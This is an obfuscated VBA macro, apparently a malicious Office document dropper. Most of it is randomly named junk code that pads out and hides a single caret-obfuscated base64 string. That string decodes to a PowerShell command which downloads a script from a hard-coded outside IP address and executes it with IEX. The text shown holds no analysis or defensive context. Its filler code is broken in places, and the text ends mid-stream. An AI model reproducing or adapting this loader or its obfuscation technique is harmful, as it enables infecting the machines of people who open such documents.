If "ZaTUbAjaxaLaSYlOaaZidY" <> CStr("ZaTUbAjaxaLaSYlOaaZidY2940") Then
   kylUkoaaHRIbiJIOxOWerMebazeQYhyHupA(0) = CStr(VarType(VarType(VarType("ZaTUbAjaxaLaSYlOaaZidY"))))
End If
kylUkoaaHRIbiJIOxOWerMebazeQYhyHupA(1) = CInt(CStr("2940$"))
VarType ZaTUbAjaxaLaSYlOaaZidY
Year 2940
If Len(kylUkoaaHRIbiJIOxOWerMebazeQYhyHupA(1)) <> 11 Then
  kylUkoaaHRIbiJIOxOWerMebazeQYhyHupA(2) = Hour(29403)
End If
kylUkoaaHRIbiJIOxOWerMebazeQYhyHupA(3) = VarType(kylUkoaaHRIbiJIOxOWerMebazeQYhyHupA)
Dim DOrIsyqAxywEBUHobEfibaSEFIDYTIsoviX(4)
If "zOvYfurYELUiOiOF" <> CStr("zOvYfurYELUiOiOF8520") Then
   DOrIsyqAxywEBUHobEfibaSEFIDYTIsoviX(0) = CStr(VarType(VarType(VarType("zOvYfurYELUiOiOF"))))
End If
DOrIsyqAxywEBUHobEfibaSEFIDYTIsoviX(1) = CInt(CStr("8520$"))
VarType zOvYfurYELUiOiOF
Year 8520
If Len(DOrIsyqAxywEBUHobEfibaSEFIDYTIsoviX(1)) <> 13 Then
  DOrIsyqAxywEBUHobEfibaSEFIDYTIsoviX(2) = Hour(85205)
End If
DOrIsyqAxywEBUHobEfibaSEFIDYTIsoviX(3) = VarType(DOrIsyqAxywEBUHobEfibaSEFIDYTIsoviX)
End If
hEponERAHoJyPfAriwahEij(3) = VarType(hEponERAHoJyPfAriwahEij)
Dim caRupeLuPAgATOAhEUmQOJiiEVaACUfyZU(4)
If "iujuliybIvalOVygywA" <> CStr("iujuliybIvalOVygywA9592") Then
   caRupeLuPAgATOAhEUmQOJiiEVaACUfyZU(0) = CStr(VarType(VarType(VarType("iujuliybIvalOVygywA"))))
End If
caRupeLuPAgATOAhEUmQOJiiEVaACUfyZU(1) = CInt(CStr("9592$"))
VarType iujuliybIvalOVygywA
Year 9592
If Len(caRupeLuPAgATOAhEUmQOJiiEVaACUfyZU(1)) <> 10 Then
  caRupeLuPAgATOAhEUmQOJiiEVaACUfyZU(2) = Hour(959210)
End If
caRupeLuPAgATOAhEUmQOJiiEVaACUfyZU(3) = VarType(caRupeLuPAgATOAhEUmQOJiiEVaACUfyZU)

Dim xAaqLUredODByFaqokEXAsYdYiEm(4)
If "peMudirOsuZyqalefYtH" <> CStr("peMudirOsuZyqalefYtH8300") Then
Dim ItEbuRuqemifokkybfIwoZAx(4)
If "aOHOseyFEKaNaBAVeMUj" <> CStr("aOHOseyFEKaNaBAVeMUj5454") Then
   ItEbuRuqemifokkybfIwoZAx(0) = CStr(VarType(VarType(VarType("aOHOseyFEKaNaBAVeMUj"))))
End If
ItEbuRuqemifokkybfIwoZAx(1) = CInt(CStr("5454$"))
VarType aOHOseyFEKaNaBAVeMUj
Year 5454
If Len(ItEbuRuqemifokkybfIwoZAx(1)) <> 12 Then
  ItEbuRuqemifokkybfIwoZAx(2) = Hour(54542)
End If
ItEbuRuqemifokkybfIwoZAx(3) = VarType(ItEbuRuqemifokkybfIwoZAx)
Dim QivUxEdYGOkAKudrElinApYwygafid(4)
If "FAGyrOlITUmOPEjwy" <> CStr("FAGyrOlITUmOPEjwy3308") Then
   QivUxEdYGOkAKudrElinApYwygafid(0) = CStr(VarType(VarType(VarType("FAGyrOlITUmOPEjwy"))))
End If
QivUxEdYGOkAKudrElinApYwygafid(1) = CInt(CStr("3308$"))
VarType FAGyrOlITUmOPEjwy
Year 3308
If Len(QivUxEdYGOkAKudrElinApYwygafid(1)) <> 13 Then
  QivUxEdYGOkAKudrElinApYwygafid(2) = Hour(33089)
End If
QivUxEdYGOkAKudrElinApYwygafid(3) = VarType(QivUxEdYGOkAKudrElinApYwygafid)
   xAaqLUredODByFaqokEXAsYdYiEm(0) = CStr(VarType(VarType(VarType("peMudirOsuZyqalefYtH"))))
End If
Dim wosIXuVYduvwXURiHAReWod(4)
If "JoteBoZYhAVuZIaUPI" <> CStr("JoteBoZYhAVuZIaUPI3056") Then
   wosIXuVYduvwXURiHAReWod(0) = CStr(VarType(VarType(VarType("JoteBoZYhAVuZIaUPI"))))
End If
wosIXuVYduvwXURiHAReWod(1) = CInt(CStr("3056$"))
VarType JoteBoZYhAVuZIaUPI
Year 3056
If Len(wosIXuVYduvwXURiHAReWod(1)) <> 12 Then
  wosIXuVYduvwXURiHAReWod(2) = Hour(30561)
End If
wosIXuVYduvwXURiHAReWod(3) = VarType(wosIXuVYduvwXURiHAReWod)
xAaqLUredODByFaqokEXAsYdYiEm(1) = CInt(CStr("8300$"))
VarType peMudirOsuZyqalefYtH
Dim xidIZaCEQIDvyGaNaaBIwvIheCYCAauqiWEvuDYmwImY(4)
If "NUDyzoViWISulEKeja" <> CStr("NUDyzoViWISulEKeja5706") Then
   xidIZaCEQIDvyGaNaaBIwvIheCYCAauqiWEvuDYmwImY(0) = CStr(VarType(VarType(VarType("NUDyzoViWISulEKeja"))))
End If
xidIZaCEQIDvyGaNaaBIwvIheCYCAauqiWEvuDYmwImY(1) = CInt(CStr("5706$"))
VarType NUDyzoViWISulEKeja
Year 5706
If Len(xidIZaCEQIDvyGaNaaBIwvIheCYCAauqiWEvuDYmwImY(1)) <> 12 Then
  xidIZaCEQIDvyGaNaaBIwvIheCYCAauqiWEvuDYmwImY(2) = Hour(570610)
End If
xidIZaCEQIDvyGaNaaBIwvIheCYCAauqiWEvuDYmwImY(3) = VarType(xidIZaCEQIDvyGaNaaBIwvIheCYCAauqiWEvuDYmwImY)
Dim UxExypoMiGySAHIByRoBiMoFuRdaQyxaXAmuZ(4)
If "voRIBysYwirVESaKowYLISe" <> CStr("voRIBysYwirVESaKowYLISe8061") Then
   UxExypoMiGySAHIByRoBiMoFuRdaQyxaXAmuZ(0) = CStr(VarType(VarType(VarType("voRIBysYwirVESaKowYLISe"))))
End If
UxExypoMiGySAHIByRoBiMoFuRdaQyxaXAmuZ(1) = CInt(CStr("8061$"))
VarType voRIBysYwirVESaKowYLISe
Year 8061
If Len(UxExypoMiGySAHIByRoBiMoFuRdaQyxaXAmuZ(1)) <> 12 Then
  UxExypoMiGySAHIByRoBiMoFuRdaQyxaXAmuZ(2) = Hour(80612)
End If
UxExypoMiGySAHIByRoBiMoFuRdaQyxaXAmuZ(3) = VarType(UxExypoMiGySAHIByRoBiMoFuRdaQyxaXAmuZ)
Year 8300
If Len(xAaqLUredODByFaqokEXAsYdYiEm(1)) <> 11 Then
  xAaqLUredODByFaqokEXAsYdYiEm(2) = Hour(83002)
End If
Dim WuxidyqyVaLExAvozoRoLyVY(4)
If "leTykULImineaaXYsY" <> CStr("leTykULImineaaXYsY84") Then
   WuxidyqyVaLExAvozoRoLyVY(0) = CStr(VarType(VarType(VarType("leTykULImineaaXYsY"))))
End If
WuxidyqyVaLExAvozoRoLyVY(1) = CInt(CStr("84$"))
VarType leTykULImineaaXYsY
Year 84
If Len(WuxidyqyVaLExAvozoRoLyVY(1)) <> 13 Then
  WuxidyqyVaLExAvozoRoLyVY(2) = Hour(842)
End If
WuxidyqyVaLExAvozoRoLyVY(3) = VarType(WuxidyqyVaLExAvozoRoLyVY)
Dim tyfOKEauDytYbOHAhIkAlaMYCeliXANIVamu(4)
If "qYDYVOieDuZihYMaw" <> CStr("qYDYVOieDuZihYMaw2227") Then
   tyfOKEauDytYbOHAhIkAlaMYCeliXANIVamu(0) = CStr(VarType(VarType(VarType("qYDYVOieDuZihYMaw"))))
End If
tyfOKEauDytYbOHAhIkAlaMYCeliXANIVamu(1) = CInt(CStr("2227$"))
VarType qYDYVOieDuZihYMaw
Year 2227
If Len(tyfOKEauDytYbOHAhIkAlaMYCeliXANIVamu(1)) <> 10 Then
  tyfOKEauDytYbOHAhIkAlaMYCeliXANIVamu(2) = Hour(22275)
End If
tyfOKEauDytYbOHAhIkAlaMYCeliXANIVamu(3) = VarType(tyfOKEauDytYbOHAhIkAlaMYCeliXANIVamu)
xAaqLUredODByFaqokEXAsYdYiEm(3) = VarType(xAaqLUredODByFaqokEXAsYdYiEm)
rOfuvIqiVovgyxYGuxOSuKUBOhA = "^l^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^E^k^A^R^Q^B^Y^A^C^g^A^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^U^w^B^0^A^H^I^A^a^Q^B^u^A^G^c^A^K^A^A^i^A^G^g^A^d^A^B^0^A^H^A^A^O^g^A^v^A^C^8^A^M^Q^A^3^A^D^g^A^L^g^A^z^A^D^I^A^L^g^A^y^A^D^E^A^M^A^A^u^A^D^I^A^M^A^A^y^A^C^8^A^b^g^B^l^A^H^I^A^a^w^B^v^A^G^0^A^L^g^B^w^A^G^g^A^c^A^A^i^A^C^k^A^K^Q^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^"
Dim jyLYgaBunCAbymUJIWiHeNIzEjaOdyKaXINISUce(4)
If "fiZOJoZYGiMumAqoKelOzh" <> CStr("fiZOJoZYGiMumAqoKelOzh5553") Then
   jyLYgaBunCAbymUJIWiHeNIzEjaOdyKaXINISUce(0) = CStr(VarType(VarType(VarType("fiZOJoZYGiMumAqoKelOzh"))))
End If
jyLYgaBunCAbymUJIWiHeNIzEjaOdyKaXINISUce(1) = CInt(CStr("5553$"))
VarType fiZOJoZYGiMumAqoKelOzh
Year 5553
If Len(jyLYgaBunCAbymUJIWiHeNIzEjaOdyKaXINISUce(1)) <> 13 Then
  jyLYgaBunCAbymUJIWiHeNIzEjaOdyKaXINISUce(2) = Hour(55532)
End If
jyLYgaBunCAbymUJIWiHeNIzEjaOdyKaXINISUce(3) = VarType(jyLYgaBunCAbymUJIWiHeNIzEjaOdyKaXINISUce)
Dim WUXyWEWEhohaQYkuWikIfnYCoPURUQisaPYBIJEjUQa(4)
If "NDYXejePIdacOLif" <> CStr("NDYXejePIdacOLif8985") Then
   WUXyWEWEhohaQYkuWikIfnYCoPURUQisaPYBIJEjUQa(0) = CStr(VarType(VarType(VarType("NDYXejePIdacOLif"))))
End If
WUXyWEWEhohaQYkuWikIfnYCoPURUQisaPYBIJEjUQa(1) = CInt(CStr("8985$"))
VarType NDYXejePIdacOLif
Year 8985
If Len(WUXyWEWEhohaQYkuWikIfnYCoPURUQisaPYBIJEjUQa(1)) <> 10 Then
  WUXyWEWEhohaQYkuWikIfnYCoPURUQisaPYBIJEjUQa(2) = Hour(89858)
End If
WUXyWEWEhohaQYkuWikIfnYCoPURUQisaPYBIJEjUQa(3) = VarType(WUXyWEWEhohaQYkuWikIfnYCoPURUQisaPYBIJEjUQa)

Dim XYfOaJEQOVyHUqahIfiMoxEPUpeaY(4)
If "modalEPycOJijUV" <> CStr("modalEPycOJijUV2181") Then
   XYfOaJEQOVyHUqahIfiMoxEPUpeaY(0) = CStr(VarType(VarType(VarType("modalEPycOJijUV"))))
End If
XYfOaJEQOVyHUqahIfiMoxEPUpeaY(1) = CInt(CStr("2181$"))
VarType modalEPycOJijUV
Year 2181
If Len(XYfOaJEQOVyHUqahIfiMoxEPUpeaY(1)) <> 12 Then
  XYfOaJEQOVyHUqahIfiMoxEPUpeaY(2) = Hour(21816)
End If
XYfOaJEQOVyHUqahIfiMoxEPUpeaY(3) = VarType(XYfOaJEQOVyHUqahIfiMoxEPUpeaY)
Dim doDAwUBYmicaakZeBAHARIGEbaB(4)
If "WiHAsRewIJyv" <> CStr("WiHAsRewIJyv330") Then
   doDAwUBYmicaakZeBAHARIGEbaB(0) = CStr(VarType(VarType(VarType("WiHAsRewIJyv"))))
End If
doDAwUBYmicaakZeBAHARIGEbaB(1) = CInt(CStr("330$"))
VarType WiHAsRewIJyv
Year 330
If Len(doDAwUBYmicaakZeBAHARIGEbaB(1)) <> 12 Then
  doDAwUBYmicaakZeBAHARIGEbaB(2) = Hour(3309)
End If
doDAwUBYmicaakZeBAHARIGEbaB(3) = VarType(doDAwUBYmicaakZeBAHARIGEbaB)
Dim hOwIQINuGiyQOBxyZEHybEQafuX(4)
Dim HqIbUGoViKECUDuRaBfYGhYlEqyCOayva(4)
If "PbiKePuroqEtIHA" <> CStr("PbiKePuroqEtIHA3136") Then
   HqIbUGoViKECUDuRaBfYGhYlEqyCOayva(0) = CStr(VarType(VarType(VarType("PbiKePuroqEtIHA"))))
End If
HqIbUGoViKECUDuRaBfYGhYlEqyCOayva(1) = CInt(CStr("3136$"))
VarType PbiKePuroqEtIHA
Year 3136
If Len(HqIbUGoViKECUDuRaBfYGhYlEqyCOayva(1)) <> 12 Then
  HqIbUGoViKECUDuRaBfYGhYlEqyCOayva(2) = Hour(31362)
End If
HqIbUGoViKECUDuRaBfYGhYlEqyCOayva(3) = VarType(HqIbUGoViKECUDuRaBfYGhYlEqyCOayva)
Dim jAlOpeBzovyKOHuWEregEvAJUsiaET(4)
If "TObuhASoGiVOlUcUpIpADe" <> CStr("TObuhASoGiVOlUcUpIpADe3885") Then
   jAlOpeBzovyKOHuWEregEvAJUsiaET(0) = CStr(VarType(VarType(VarType("TObuhASoGiVOlUcUpIpADe"))))
End If
jAlOpeBzovyKOHuWEregEvAJUsiaET(1) = CInt(CStr("3885$"))
VarType TObuhASoGiVOlUcUpIpADe
Year 3885
If Len(jAlOpeBzovyKOHuWEregEvAJUsiaET(1)) <> 11 Then
  jAlOpeBzovyKOHuWEregEvAJUsiaET(2) = Hour(38858)
End If
jAlOpeBzovyKOHuWEregEvAJUsiaET(3) = VarType(jAlOpeBzovyKOHuWEregEvAJUsiaET)
If "KeiYfIwOjIrovOqAg" <> CStr("KeiYfIwOjIrovOqAg4762") Then
Dim DyZAJeLyMAraGGidYZODUQAaYziTaNI(4)
If "wOvefaFisyrazeXUr" <> CStr("wOvefaFisyrazeXUr7400") Then
   DyZAJeLyMAraGGidYZODUQAaYziTaNI(0) = CStr(VarType(VarType(VarType("wOvefaFisyrazeXUr"))))
End If
DyZAJeLyMAraGGidYZODUQAaYziTaNI(1) = CInt(CStr("7400$"))
VarType wOvefaFisyrazeXUr
Year 7400
If Len(DyZAJeLyMAraGGidYZODUQAaYziTaNI(1)) <> 10 Then
  DyZAJeLyMAraGGidYZODUQAaYziTaNI(2) = Hour(74009)
End If
DyZAJeLyMAraGGidYZODUQAaYziTaNI(3) = VarType(DyZAJeLyMAraGGidYZODUQAaYziTaNI)
…